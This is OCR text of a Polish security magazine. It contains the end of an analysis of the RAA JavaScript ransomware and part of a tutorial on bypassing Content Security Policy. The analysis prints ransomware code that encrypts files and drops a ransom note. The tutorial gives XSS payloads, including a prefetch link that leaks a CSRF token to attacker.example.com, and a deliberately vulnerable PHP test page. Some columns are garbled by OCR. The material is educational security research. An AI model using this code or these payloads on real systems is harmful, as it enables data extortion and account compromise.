14. DftonCbPCyQR = DftonCbPCyQR + "IDNUM=" + cVjZujcP . .. .
+ "KEY_LOGIC=" + HZtSmFNRAIM_data[@] a 476 MB) jest troszke bardziej rozbudowana:
15. + "IV_LOGIC=" + gPCIyff[@] + "LOGIC_ID=2";
16. omaDplUyHou (DftonCbPCyQR) ; 1. function qqJ(IMhTname) { .
17. } 2 var SISPWu = WScript.CreateObject("ADODB.Stream"); Protokot WebSocket
18. return DftonCbPCyQR; ‘31 gigmu-ghaf‘%?t = '437';
19. . u.Open(); . .
} 5 S1SPWu.LoadFromFile(IMhTname); Czym jest XPATH injection?
6 var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
7 FhDYKCTNZFu.CharSet = '437'; - o e G
S , . . . . 8. FhDYKCTNZFu.Open(); oogle Cajai -y
W zaleznosci od zawartosci tablicy hXpHGpZ oraz tego, czy jest ona dwu- czy jed- ié var GIiDERtjq(Z)jinJ; oq1vg%ﬁc(ggeee, 125000) ; _ czyli jak dostaé trzy razy bounty
H 2 H il 1 ol 1 1ol 1 1 . var UJZyAvTeza = u.>lze; .
nowymiarowa (to. zalez.y, J.aklej W|elklo,sa‘pllk byt p.rzes’ra.ny do niej uprzednio Ja.ko 1 var We = S1SPHu. ReadText (GLnRGOI1N); za (prawie) to samo
argument), funkcja zapisuje zawartos$¢ pliku do zmiennej DftonCbPCyQR, dodajac 12. var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
t . k . fia iUz p . 13. CBKYRXWGPWBs = String(cBKyRXWGPWBS);
witasne metadane. Nastepnie, tak przygotowany ciag trafia juz bezposrednio do 14. var rMkTegZm = cBKyRXWGPWBs.length; Analiza ransomware napisanego
i : ; $E i . 15. S1SPWu.Position = PRuJZyAvfeza - GinRqOjln; o ..
funkcji szyfrujacej zawartosc¢ pliku algorytmem AES: e var ECEBNYtOib = SISPWU. ReadText(CinRA0ILNS; 100% w Javascripcie - RAA
X . 17. var AblANuF = ukBnxEOtjm(ECgBWYtoib);
1. function ukBnxEOtjm(EQs) { 18. Ab1ANUF = String(AblANUF); L ]
2 var HZtSmFNRdIM = HZtSmFNRdJM_data[l]; 19. var Q-FYmGGcYOFB = AblANuF.length; Metody Oml]ClnlCI meChanlzmu
3 var gmCRXSMsLyM = gqPCIyff[1]; 20 var IJDZ = ","; ; :
: > 5 nten rity Poli P
4. EQs = CryptoJS.AES.encrypt(EQs, HZtSmFNRAIM, {gmCRXSMsLyM: gnCRXSMsLyM}); 21, SISPWu.Position = PRUJZyAvfeza - GinRqOjln; Content Security Policy (CSP)
5 return EQs; 22. S1SPWu.SetEQS;
6. } 23. S1SPWu.WriteText (cBKYRXWGPWBS); : v D
24. S1SPWuU.WriteText (AbIANUF); Nie ufaj X-Forwarded-For
25. S1SPWu.WriteText(rMkTeqzm);
i . . . . . 26. SlSPWu.Wr‘@teText(IJDZ); e vis dleeadsiizadts
Zwrdécona zaszyfrowana zawartosc pliku zastepuje oryginalny plik, a do jego nazwy 27. S1SPWu.WriteText (QfYmMGGCYOFB); J
. . . . 28. S1SPWu.WriteText(IJDZ); niezaufanvch danvch.
zostaje dodane rozszerzenie .locked (to zapobiega jego ponownemu zaszyfrowa- 29. var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRAIM_data[o] Czes’c’{poydstawyy
i i i : i ik 30. + "IV_LOGIC=" + gPCIyff[@] + "LOGIC_ ID=3"; C
niu, za;.)'ewnlanemu p.)oprz.ez me.chanl%rr'\ \{vyszuklwanla plikbw przeznaczonych do n S1SPWU. HriteText (10s):
operacji zaszyfrowania, opisanej wczesniej): 32. S1SPWu.Position = GinRqOjln; R
33. S1SPWu.CopyTo(FhDYKCTNZFu); Java vs deserializacja
1. function omaDplUyHou(1lsYZxzUm) { 34. S1SPWu.Close; ] niezaufanvych danych. Cze<é 2:
2. var IXC = new ActiveXxObject('ADODB.Stream'); 35. FhDYKCTNZFu.SaveToFile(IMhTname, 2); .. L) Y &
3. IXC.Type = 2; 36. FhDYKCTNZFu.Close; mniej typowe metody ataku
4. IxC.Charset = "437"; 37. var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
5 IxC.Open(); 38. DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked"); Lo .
6 if (1sYzxzUm != ezl{ ) 39. return 0; Java vs deserializacja
7 IXC.WriteText(1lsYZxzUm); 40. . oy
8. IXC.SaveToFile(IMhTname, 2); } niezaufanych danych. Czesc 3:
9. IxC.Close(); . . L . . metody Obrony
10. var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject"); o .
11. DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked"); Najpierw, tworzone sa dwa obiekty ADODB.Stream:
12. } else {
ii‘ } IxC.Close(); 1. var SISPWu = WScript.CreateObject("ADODB.Stream");
15, return @; 2. SISPWu.CharSet = '437';
16. } 3. S1SPWu.Open();
4. S1SPWu.LoadFromFile(IMhTname);
5. var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
. - . . 6. FhDYKCTNZFu.CharSet = '437';
Wykorzystana tu metoda obiektu ADODB.Stream, MoveFile jest opisana doktadniej 7. FhDYKCTNZFu.Open(); ’

na stronie MSDN.

30
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Nastepnie, plik zostaje zaszyfrowany po podzieleniu go na fragmenty (kazdy
fragment zostaje zaszyfrowany osobno) oraz zapisaniu kazdego fragmentu w osob-
nym ciggu znakéw (oba obiekty operujg na ciaggach znakdéw JavaScript tak, jakby
byty to dane binarne):

var GinRq0jln = 0QlYdejW1C (90000, 125000);
var PRuJZyAvfeza = S1SPWu.Size;

var Ve = S1SPWu.ReadText(GinRqOjln);

var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
CBKYRXWGPWBs = String(cBKyRXWGPWBSs);

var rMkTeqZm = cBKyRXWGPWBs.length;
S1SPWu.Position = PRuJZyAvfeza - GinRqOjln;
var ECgBWYtoib = S1SPWu.ReadText(GinRq0Ojln);
var AblANuF = ukBnxEOtjm(ECgBWYtoib);

10. AblANUF = String(AblANuF);

11. var QfYmGGcYOFB = AblANuF.length;

12. var IJDZ = ",";

13. S1SPWu.Position = PRuJZyAvfeza - GinRqOjln;
14. S1SPWu.SetEOS;

VoONOUVTh WN R

Wreszcie, zaszyfrowane fragmenty sg zapisywane razem jako jeden plik, a do jego
nazwy dodawane jest rozszerzenie .locked:Javascript

S1SPWu.WriteText (cBKYRXWGPWBS) ;

S1SPWu.WriteText(AblANuF);

S1SPWu.WriteText(rMkTeqZm);

S1SPWu.WriteText(IJDZ);

S1SPWu.WriteText(QfYmGGCYOFB);

S1SPWu.WriteText(IJIDZ);

var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJIM_data[@]
+ "IV_LOGIC=" + gPCIyff[@] +

8. "LOGIC_ID=3";

9. S1SPWu.WriteText(ids);

10. SI1SPWu.Position = GinRqOjln;

NoOouih wN PR

Zakonczenie

Gdy RAA zaszyfruje juz wszystkie przeznaczone do tego pliki, w rejestrze Windows
tworzony jest wpis (sprawdzany na samym poczatku), informujacy o zakorczeniu
procesu:

1. var FYSAj = WScript.CreateObject("WScript.Shell");
2. FYSAj.RegWrite("HKCU\\RAA\\Raa-fnl\\", "beenFinished", "REG_SZ");

Ostatnim krokiem, jest wyswietlenie uzytkownikowi komunikatu z kwotg do zapta-
ty za klucz deszyfrujacy i danymi kontaktowymi:

1. var IvTV = "C:\\" + "!!IREADME!!!" + TBucypWw + ".rtf";
2. var xfejSVYO = new ActiveXObject("Scripting.FileSystemObject");
3. var Nnz = FYSAj.SpecialFolders("Desktop");
4. Nnz = Nnz += "\\";
5. xfejSVYO.CopyFile(IvTV, Nnz);
6. var rdm_f1l = "wordpad.exe" + " " + IVTV;
7. FYSAj.Run(rdm_f1, 3);
8. return 0;
PODSUMOWANIE

RAA jest dowodem na to, ze JavaScript - jezyk, ktérego przeznaczeniem miata
byc obstuga interakcji z uzytkownikiem na stronie www — moze byc¢ uzyty dostownie
do wszystkiego. RAA to nie jedyny przyktad, warto zapoznac sie np. z analizg wpi-
séw o innym ransomware - Locky, ktéry uzywa napisanego w JavaScripcie downlo-
adera binarnej czesci ransomware lub zawiera taka binarke bezposrednio w sobie:
» ,From Locky with love” autorstwa @hasherezade
» ,Return of Locky”

» ,Locky ransomware now embedded in JavaScript”

W obliczu rosnacej popularnosci JavaScript, bedziemy swiadkami coraz czestszych
przypadkéw ztosliwego oprogramowania podobnego do Locky, czy opisanego tu-
taj RAA. Obfuskacja kodu JavaScript, pozwala na omijanie detekcji przez programy
antywirusowe na wiele sposoboéw (proces deobfuskacji opisany w ,Return of Loc-
ky” przedstawia jeden z wielu mozliwych wariantéw zaciemniania kodu JavaScript),
a sam kod jest tatwy w napisaniu i utrzymaniu (np. nie wymaga kompilacji i jest go
tatwo zaadaptowac na potrzeby zupetnie innej platformy).

Rafat 'bl4de' Janicki. Od wielu lat zwigzany z aplikacjami internetowymi,
od kilku jako HTML5/JavaScript Developer z doswiadczeniem w duzych
korporacjach. Interesuje sie takze tematyka bezpieczenstwa aplikacji
internetowych.

¥» B

SEKURAK.PL / [ITENINE

Protokot WebSocket
Czym jest XPATH injection?

Google Caja i XSS-y

- czyli jak dostac trzy razy bounty

za (prawie) to samo

Analiza ransomware napisanego

100% w Javascripcie — RAA

Metody omijania mechanizmu
Content Security Policy (CSP)

Nie ufaj X-Forwarded-For

Java vs deserializacja
niezaufanych danych.
Czes¢ 1: podstawy

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Java vs deserializacja
niezaufanych danych. Czes¢ 3:
metody obrony

n PODZIEL SIE ZINEM



https://blog.malwarebytes.com/threat-analysis/2016/07/from-locky-with-love-reading-malicious-attachments/
https://twitter.com/hasherezade
https://malcat.moe/?p=53
http://blog.cyren.com/articles/2016-Q3_locky-ransomware-now-embedded-in-javascript.html
$$$/Dialog/Behaviors/GoToView/DefaultURL



http://programistamag.pl/typy-prenumeraty/

¥» B

Adrian 'Vizzdoom' Michalczyk
Poczatkuiacy | BELTDNIM | ZAAWANSOWANY DerensywA | IESTZN

Metody omijania mechanizmu
Content Security Policy (CSP)

Content Security Policy (CSP) jest jednym z najlepszych mechanizméw
chronigcych strony internetowe. Technologia ta spedza sen z powiek
crackerom, ktérzy — mimo znalezionych luk — nie mogg ich skutecznie
wykorzystaé. CSP nie jest jednak Swietym Graalem bezpieczenistwa apli-
kacji webowych: zdarza sie, ze ograniczenia sg mato restrykcyjne, otwie-
rajac napastnikom furtke w mechanizmach bezpieczenstwa.

CONTENT SECURITY POLICY - SZYBKIE PRZYPOMNIENIE

Wiecej o technologii Content Security Policy mozna poczyta¢ w moim poprzednim artykule:
»Wszystko o CSP 2.0 - Content Security Policy jako uniwersalny straznik bezpieczenstwa
aplikacji webowej”.

Zagrozenia typu Cross-Site Scripting (XSS) sg odwiecznym problemem bezpieczen-
stwa stron internetowych. Mimo, ze z roku na rok powstaje coraz wiecej technik
pozwalajacych radzi¢ sobie z tym rodzajem podatnosci, XSS nadal wymieniany jest
jako jedna z najczestszych bolgczek bezpieczenstwa aplikacji webowych.

Mechanizm Content Security Policy pomaga chroni¢ przed tego rodzaju za-
grozeniami. Jest to zestaw regut, ktory instruuje przegladarki uzytkownikow, skad
(z jakiego zrédta) moga one pobrac zasoby strony.

Deklaracja regut odbywa sie przez dodanie odpowiedniego nagtéwka CSP do
odpowiedzi HTTP tresci strony. Gdy atakujacy znajdzie podatnos¢ typu XSS, jego
celem bedzie dodanie ztosliwego elementu HTML (najczesciej skryptu), do tresci
strony (lub zatadowanie go zinnej domeny). Jednak, w przypadku strony dziatajacej
z CSP, przegladarka nie zataduje elementu podrzuconego przez agresora. A wiec
nawet, gdy atakujacy znajdzie luke XSS, nie bedzie mégt jej wykorzysta¢ przeciwko
uzytkownikom serwisu (przynajmniej w teorii — jak niedtugo sie dowiemy, bedzie
miat mozliwos¢ przeprowadzania niektorych atakow).

Ze wzgledu na bardzo duza skutecznos¢ CSP, tatwo mozna nabrac przeswiadczenia
o niemal petnym bezpieczenstwie serwisu (przynajmniej w kontekscie atakéw typu
XSS). Taki poglad jest duza putapka, ktéra usypia czujnosé nie tylko programistéw (,po

co zabezpieczac strone — CSP mnie obroni”), ale tez pentesteréw (,strona ma CSP - nie
ma sensu szukac XSS-6w”). Woéwczas, doswiadczeni agresorzy zacieraja rece...

CSP statlo sie gléwnym straznikiem bezpieczenstwa aplikacji webowej po stronie klienta.
Sila tej technologii jest: fatwos¢ konfiguracji, dobre wsparcie w przegladarkach oraz zasta-
pienie innych, niestandaryzowanych mechanizmoéw.

Przeprowadzenie udanego ataku wykonywanego po stronie klienta (np. XSS czy
Clickjacking) na stronie chronionej nagtéwkiem CSP, moze by¢ nie lada wyzwaniem.

Pobiezna znajomos¢ Content Security Policy czesto prowadzi do tworzenia niedo-
ktadnych regut. CSP daje wtedy ztudne poczucie bezpieczenstwa, poniewaz napast-
nicy moga omija¢ wprowadzone restrykcje na wiele sposobow.

Jak testowa¢ strony z dziatajgcym CSP?

Content Security Policy dziata po stronie klienta (a nie serwera). Oznacza to, ze
w dowolnym momencie mozemy te technologie wytaczy¢ (lub patrzac na to zinnej
strony — nigdy nie mozemy by¢ pewni czy bedzie ona wiaczona/wspierana w prze-
gladarkach uzytkownikéw naszego serwisu).

W jaki sposéb wytaczy¢ Content Security Policy w przegladarce? Wystarczy zi-
gnorowac nagtéwek z regutami CSP, ktore wysytane sg przez serwer:
GET /index.html HTTP/1.1
Host: example.com
Connection: keep-alive
Pragma: no-cache

User-Agent: Mozilla/5.0
- ‘s v Po v —defati] 1

Aby to zrobi¢, najlepiej uzy¢ narzedzi web proxy. W przypadku Burp Suite, musimy
wykonac ponizsze kroki:
1. W narzedziu Proxy przejdz do zaktadki,Options”
2. Odnajdz sesje ,Match and Replace’, w ktorej definiuje sie reguty do automatycz-
nego modyfikowania ruchu HTTP przez Burp Proxy.
3. Dodaj nowa regute korzystajac z przycisku ,Add” (patrz: Rysunek 1):
a. w polu,Type”wybierz,Response header” (interesuje nas nagtéwek odpowiedzi);
b. w polu,Match” wpisz *Content-Security-Policy.*$ - jest to dopasowanie
do nagtéwka, ktory rozpoczyna sie (*) od ciggu Content-Security-Policy,
a potem do konca linii ($), zawiera jakies znaki (. *);
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c. zostaw puste pole ,Replace” - poniewaz chcesz usunac taki nagtowek;
d. zaznacz pole,Regex match” - gdyz przed chwilg uzytes wyrazenia regularnego.

Rysunek 1. Automatyczne usuwanie nagtowka Content-Security-Policy z odpowiedzi http

Aby przetestowaé poprawnos¢ dziatania powyzszej modyfikacji ruchu, mozesz
odwiedzi¢ strone https://github.com, ktéra zwraca nagtéwek CSP. Gdy ruch HTTP
przegladarki poptynie przez Burp Proxy, w historii HTTP zobaczysz, ze zadanie zo-
stato automatycznie zmodyfikowane, a nagtéwek Content-Security-Policy
- usuniety (patrz: Rysunek 2). W efekcie, przegladarka nie otrzyma od serwera poli-
tyk CSP i nie wigczy dodatkowych obostrzen.

¥ Wskazoéwka:

Wytacz CSP podczas testéw bezpieczenstwa strony, aby nie umkneta Ci zadna podatnos¢.
Przywrd¢ wszystkie mechanizmy bezpieczenistwa przegladarki, dopiero gdy znajdziesz luke
(np. XSS) i jestes pewny, ze chcesz inwestowaé dodatkowy czas w modyfikacje payloadu.

W JAKI SPOSOB OMIJAC CSP?

Po zapoznaniu sie z dziataniem Content Security Policy, szybko zadajemy sobie
pytanie o faktyczna skutecznosc tej technologii w praktyce. Podazajac za tg mysla,
zastanowmy sie, w jaki sposéb mozna oming¢ to zabezpieczenie.

Dalsze analizy przeprowadzimy na stronie z btedem XSS, na ktorej bedziemy
prébowali wykonac ztosliwy kod, obchodzacy mechanizmy Content Security Policy.

Testowe srodowisko jest prostym skryptem PHP przyjmujacym dwa parametry
w query stringu:

» xss, ktérego wartosc zostanie wypisana na stronie (miejsce podatnosci);
» csp, ktéry ustawi wartos¢ nagtéwka Content-Security-Policy.

Kod skryptu, na ktérym bedziemy testowac skutecznos¢ CSP, jest przedstawiony na
listingu 1. Mocno zachecam do jego wdrozenia na swéj lokalny serwer i przeprowa-
dzanie wtasnych testéw w trakcie dalszej lektury.

Rysunek 2. Automatyczna modyfikacja ruchu, ktora wytgcza mechanizm Content Security Policy w serwisie Github
w naszej przeglgdarce
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Listing 1. Kod zrédtowy skryptu PHP do testowania CSP

<?php
// ustaw nagtéwek Content-Security-Policy
// gdy otrzymasz parametr 'Content-Security-Policy' lub 'csp'
if (isset($_GET['csp'])){
$csp = @_GET['csp'];
header("Content-Security-Policy: $csp");
}
else if (isset($_GET['Content-Security-Policy'])) {
$csp = @$_GET['Content-Security-Policy'];
header("Content-Security-Policy: $csp");
}
else {
$csp = "<em>Brak</em>";
}
// uzyj parametru 'xss', aby wykonac¢ wstrzykniecie
$xss = @$_GET['xss'];
?>
<IDOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSP Bypassing</title>
</head>
<body>
<h1>Tester CSP</h1l>
<ul>
<li>parametr <code>csp</code> - ustawienie polityk CSP</1li>
<li>parametr <code>xss</code> - miejsce wstrzykniecia</1li>
</ul>

<h2>Content-Security-Policy:</h2>
<h3><?php echo $csp; ?></h3>

<h2>Miejsce wstrzykniecia:</h2>
<h3><?php echo $xss; ?></h3>
</body>
</html>

Przetestujemy teraz bezpieczenstwo strony z Listingu 1, na ktérej znalezlismy btad
wstrzykniecia kodu HTML. Bedzie nam zaleze¢ na tym, aby jak najlepiej wykorzy-
sta¢ odnaleziong podatnos¢, obchodzac zabezpieczenia Content Security Policy na
8 sposobow, wykorzystujac przy tym:

» Internet Explorer,

» znaczniki HTML,

» grafike wektorowg SVG,

» mechanizmy nawigacji,

» mechanizm HTML5 Link Prefetch,
» mechanizm uploadu plikéw,

» Flasha,

» frameworki typu AngularJs.

ATAK 1. WYKORZYSTANIE INTERNET EXPLORERA

Przegladarka Microsoftu od dawna moze pochwali¢ sie wsparciem Content Se-
curity Policy (konkretnie IE 10-11, patrz: Rysunek 3.i4.). |E bedzie naszym pierwszym
,bohaterem” w temacie omijania CSP. tagodnie rzecz ujmujac, Content Security
Policy w starszych przegladarkach Microsoftu nie dziata w najlepszy sposob.

Rysunek 3. Wsparcie CSP 1.0 w przeglgdarkach Microsoftu (Zrédto: http://caniuse.com/, stan na lipiec 2016)

Rysunek 4. Wsparcie CSP 2.0 w przeglgdarkach Microsoftu (zrédto: http://caniuse.com/, stan na lipiec 2016)
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Zacznijmy od tego, ze IE interpretuje CSP tylko po odebraniu niestandardowego
nagtéwka X-Content-Security-Policy (zamiast Content-Security-Policy).
Juz sam ten fakt jest bardzo niepokojacy i nietrudno wyobrazi¢ sobie sytuacje, w ktorej
programista zapomina dodac specjalnej wersji nagtéwka do odpowiedzi HTTP.

Okazuje sie réwniez, ze Internet Explorer nie wspiera wszystkich dyrektyw zde-
finiowanych w standardzie CSP, co jest juz sporym problemem. W zasadzie wspiera
tylko jedna z nich - sandbox. Pozostate dyrektywy - jak chociazby script-src
- sg przez |IE catkowicie ignorowane. Oznacza to, ze Content Security Policy IE 10/11,
w praktyce nie dziata w ogdle. Na szczescie, przegladarka Microsoft Edge interpre-
tuje CSP w petni poprawnie.

Chciatbym w tym miejscu zaznaczy¢, ze w czasie publikacji tego artykutu (Il po-
towa 2016 roku), Internet Explorer 11 jest wspierang, aktualizowana wersjg prze-
gladarki firmy Microsoft, z ktorej korzysta wielu internautéw. Nie bez znaczenia jest
rowniez fakt, ze jest to domyslna przegladarka systemu Windows 7 oraz 8.x.

ATAK 2. WYKORZYSTANIE ATRYBUTOW I ZNACZNIKOW HTML

Analize pierwszego przypadku (faktycznego) omijania CSP, zacznijmy od zde-
finiowania restrykcyjnej polityki: nie pozwalaj na nic (zabron tadowania skryptoéw,
stylow, obrazkéw, itd.). W przygotowanym wczesniej skrypcie PHP, mozemy ustawi¢
taka polityke przy pomocy parametru csp=default-src, 'none’, co spowoduje
wysfanie ponizszego nagtéwka w odpowiedzi HTTP:

Content-Security-Policy: default-src 'none';

Wstrzyknijmy teraz skrypt JS, positkujac sie parametrem xss=<script>alert(1);
</script>.
W efekcie, zamiast okna dialogowego, powinnismy zobaczy¢ bfad JavaScript wy-
$wietlony konsoli przegladarki:
Refused to execute inline script because it violates the following Content
Security Policy directive: "default-src 'none'". Either the 'unsafe-inline’
keyword, a hash ('sha256-5jFwrAKOUV47oFbVg/iCCBbxD8X1w+QvoOUepudC2YA="), or

a nonce ('nonce-...') is required to enable inline execution. Note also that
'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Dowodezi to, ze restrykcje Content Security Policy dziataja i faktycznie blokuja wyko-
nanie wstrzyknietego skryptu inline. Przy obecnie ustawionej polityce, atakujacy nie

moze wykonac¢ skryptow JS, dodawac styli CSS czy obrazkéw, ma jednak wptyw na
wynikowy kod HTML. W ten sposob, napastnik moze sporo osiggna¢ — ma przeciez
do dyspozycji grono znacznikéw HTML (np. takie jak <h1> czy <div>) oraz atrybutéw
(w szczegdlnosci class), ktére moga postuzy¢ do zmiany wygladu strony. Moze
réwniez uzy¢ znacznik <textarea> (beztaguzamykajacego) w efekcie czego, kod
strony — od miejsca wstrzykniecia, stanie sie wartoscig pola tekstowego - co zazwy-
czaj uniemozliwi dalsze korzystanie ze strony (poréwnaj: Rysunek 5, do Listingu 1).

Rysunek 5. Efekt wstrzykniecia niezamknietego znacznika <textarea>

Mozliwosci wykorzystania znacznikéw HTML (mimo ograniczen CSP) jest sporo, o czym
przekonamy sie w dalszej czesci artykutu.

ATAK 3. WYKORZYSTANIE SVG

W kolejnym ataku rowniez uzyjemy restrykcyjnej polityki:

Content-Security-Policy: default-src 'none’;

Mimo, ze CSP zabrania w tym wypadku korzystania z obrazkéw (default-src
"none’ implikuje img-src 'none'), nie oznacza to, ze agresor nie bedzie mogt
dodac¢ grafiki w miejscu wstrzykniecia. Zamiast znacznika <img>, moze uzy¢ tagu
<svg> definiujacego grafike wektorowa. SVG dodane w ten sposéb, nie bedzie blo-
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kowane przez Content Security Policy, wiec wstrzykniecie ponizszego kodu spowo-
duje wyswietlenie duzego, czerwonego kota na stronie (patrz: Rysunek 4):

<svg width="1000" height="1000">
<circle cx="400" cy="400" r="400" stroke="green" stroke-width="10" fill="red" />
</svg>

Rysunek 6. Wstrzykniecie grafiki wektorowej SVG mimo zakazu uzywania obrazkéw (img-src: ‘'none’)

Odpowiednio przygotowana grafika SVG, moze by¢ uzyta jako element ataku Sto-
red HTML Injection - agresor przy pomocy znacznika SVG moze zakry¢ zawartos$¢
strony i doprowadzi¢ do tzw. ,efektu deface'a” (catkowicie zmieni¢ wyglad atakowa-
nej strony, negatywnie dziatajac na jej wizerunek).

ATAK 4. WYKORZYSTANIE NAWIGAC]I

Nawigacja jest kolejnym elementem stron WWW, ktory (jeszcze) nie jest chronio-
ny przez Content Security Policy. Atakujgcy moze to wykorzystac i np. uzy¢ znacz-
nika <a>, prébujac przekierowac ofiary do ztosliwej domeny; nie jest to jednak zbyt
skuteczny atak. Duzo grozniejsze moze okazac sie wykorzystanie innego mechani-
zmu nawigacji: przeanalizujmy sytuacje, gdzie atakujgcy w miejscu wstrzykniecia,
dodaje ponizszy fragmentu kodu:

<meta http-equiv="refresh" content="0;url=http://adrian.michalczyk.website">

Wynikiem dziatania: <meta http-equiv="header" content="value">, jest ta-
kie dziatanie strony, jakby zostata ona wystana do przegladarki z nagtéwkiem HTTP
header: value.

Nagtowek Refresh, zmusza za$ przegladarke do wykonania przekierowania we
wskazane miejsce (w tym wypadku niemal natychmiast). W wyniku tego wstrzyk-
niecia, uzytkownik po odwiedzeniu zaufanego adresu, zostanie bezzwtocznie prze-
kierowany w inne miejsce w sieci.

Jest to bardzo niebezpieczny atak — ztosliwy tag <meta>, nie musi znajdowac sie
w sekcji <head> (mimo, ze standard moéwi co$ innego). Wszystkie obecne przegla-
darki (Chrome/FF/IE/Edge/Safari) zinterpretuja takie ztosliwe przekierowanie nieza-
leznie od tego, czy znacznik <meta> znajdzie sie w sekcji <head> czy w <body>.

ATAK 5. WYKORZYSTANIE HTML5 LINK PREFETCH

Ciekawym sposobem omijajacym restrykcje CSP jest atak wykorzystujacy Link
prefetching.

W uproszczeniu, HTMLS5 Link Prefetch jest pomystem na zwiekszenie uzytecznosci
strony, przez pobieranie pewnych jej elementéw (np. grafiki), juz po zatadowaniu wi-
tryny. Wskazana w ten sposéb, dajmy na to — grafika, trafia do cache. Gdy uzytkownik
bedzie chciat z niej skorzystac — np. wykona akcje, w wyniku ktdrej przegladarka mu-
siataby $ciagnac¢ zadang grafike z jakiegos adresu, zostanie ona od razu wyswietlona
z pamieci podrecznej przegladarki. Link prefetching mozna wtaczy¢ na dwa sposoby:
» za pomocg nagtéwka HTTP Link,

» za pomocg znacznika HTML <1ink>.

Wykorzystajmy druga mozliwos¢, aby przeprowadzi¢ atak na zmodyfikowanej wersji
skryptu z Listingu 1, gdzie dodamy opcje usuniecia konta z serwisu (patrz: Listing 2).

Listing 2. Kod zrédiowy skryptu PHP do testowania CSP w formularzem zabezpieczonym
tokenem anty-CSRF

<?php
// ustaw nagidéwek Content-Security-Policy
// gdy otrzymasz parametr 'Content-Security-Policy' lub 'csp’
if (isset($_GET['csp'])){
$csp = @$_GET['csp'];
header("Content-Security-Policy: $csp");

else if (isset($_GET['Content-Security-Policy'])) {
$csp = @$_GET[ 'Content-Security-Policy'];
header("Content-Security-Policy: $csp");

}

else {
$csp = "<em>Brak</em>";

}
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// uzyj parametru 'xss', aby wykonac¢ wstrzykniecie
$xss = @$_GET['xss'];
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSP Bypassing</title>
</head>
<body>
<h1>Tester CSP</h1>
<ul>
<li>parametr <code>csp</code> - ustawienie polityk CSP</1li>
<li>parametr <code>xss</code> - miejsce wstrzykniecia</1li>
</ul>

<h2>Content-Security-Policy:</h2>
<h3><?php echo $csp; ?></h3>

<h2>Miejsce wstrzykniecia:</h2>
<h3><?php echo $xss; ?></h3>

<h2>Formularz rezygnacji z ustug serwisu</h2>
<form method="post" action="">
<input name="csrf-token" value="SECRET" type='hidden'>
<input name="action" value="Usun swoje konto" type='submit'>
</form>
</body>
</html>

Formularz usuwania konta jest zabezpieczony tokenem anty—CSRF; naszym zada-
niem bedzie przechwycenie tokena (aby potem méc przeprowadzi¢ atak CSRF), na
stronie dziatajgcej z duzymi restrykcjami CSP:

Content-Security-Policy: default-src 'none’;

Rysunek 7. Przechwycenie tokena na stronie chronionej przez CSP

Gdybysmy na stronie wstrzykneli ponizszy znacznik <1ink>:

<link rel='prefetch' href=' https://www.google.pl/images/branding/googlelogo/1x/
googlelogo_color_272x92dp.png”>

to po zatadowaniu strony, przegladarka (w tle) sciggnetaby logo Google'a i zapisata
je w swojej pamieci podrecznej.

Aby przechwycic¢ token anty-CSRF, trzeba jednak uzy¢ znacznika <1ink> w nie-
co inny sposob:

<link rel='prefetch' href="http://attacker.example.com/?log=

W powyzszym payloadzie, celowo nie zamknatem znacznika. W efekcie, w poblizu
miejsca wstrzykniecia, zostat zwrécony ponizszy kod HTML:

<h2>Miejsce wstrzykniecia:</h2>
<h3><link rel=prefetch href="http://attacker.example.com/?log=</h3>

<h2>Formularz rezygnacji z ustug serwisu</h2>
<form method="post" action="">

<input name="csrf-token" value="SECRET" type='hidden'>
<input name="action" value="Usun swoje konto" type='submit'>
</form>

W takim przypadku, wartoscig atrybutu href stat sie adres agresora (http://atta-
cker.example.com/?log=") oraz fragment kodu HTML wraz z tokenem anty-
-CSRF! Przegladarka zakoduje ten fragment (URLencode) i wysle zadanie HTTP,
przekazujac zawartosc tokena do obcej domeny.

Opisany wyzej atak, mozna przeanalizowac na Rysunku 7. Jak wida¢ - mimo du-
zych obostrzen — Content Security Policy pomineto element <1ink>, dzieki czemu
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udato sie nam sie przechwyci¢ fragment strony z tokenem. Majac taka informacje,
mozemy przeprowadzi¢ atak CSRF na danego uzytkownika.

ATAK 6. WYKORZYSTANIE MECHANIZMU UPLOADU PLIKOW
Tym razem postuzmy sie polityka, ktora blokuje wszystko, z wyjatkiem skryptow
(ktére moga by¢ tadowane tylko z tej samej domeny):

Content-Security-Policy: default-src 'none'; script-src 'self’;

Wyobrazmy sobie strone WWW z funkcja dodawania plikow, ktére nastepnie mozna
$ciagnac przez wrapper download. php (na przykfad: http://example.com/download.
php?id=0123456789abcede) - jest to tzw. koncepcja indirect file reference "

Aby zaatakowac taka strone, najpierw musimy stworzy¢ plik z rozszerzeniem ak-
ceptowanym przez aplikacje (np. csp-bypass.gif). Zawartoscig pliku oczywiscie
nie bedzie obrazek, a kod javascriptowy:

alert("XSS przez upload pliku na " + document.domain)

Rysunek 8. Omijanie CSP dodanie nowego pliku

Aby ominga¢ restrykcje CSP, musimy wstrzykna¢ znacznik <script src>, w kto-
rym wskazemy wczesniej dodany plik; skrypt do sciggania plikow zazwyczaj bedzie
znajdowat sie w tej samej domenie, co reszta aplikacji, dlatego nasze wstrzykniecie
nie bedzie blokowane przez zrodto 'self'. Oczywiscie, gdyby pliki byty dostepne bez-
posrednio (przez link http://example.com/uploads/csp-bypass.gif) anie
przez wrapper, atak rowniez bytby udany. Jednak w takiej sytuacji, musielibysmy
upewnic sie, czy wskazana lokalizacja nie jest blokowana przez CSP (kolejny powod,
aby pliki serwowac z innej domeny).

Aby wykonac atak XSS w testowanej aplikacji, musimy wstrzykna¢ ponizszy pay-
load (efekt obrazuje Rysunek 8):

<script src="download.php?id=0123456789abcdef”></script>

Omijanie zabezpieczenn Google Chrome

Opisany sposdb wykonania kodu zadziata we wszystkich popularnych przegla-
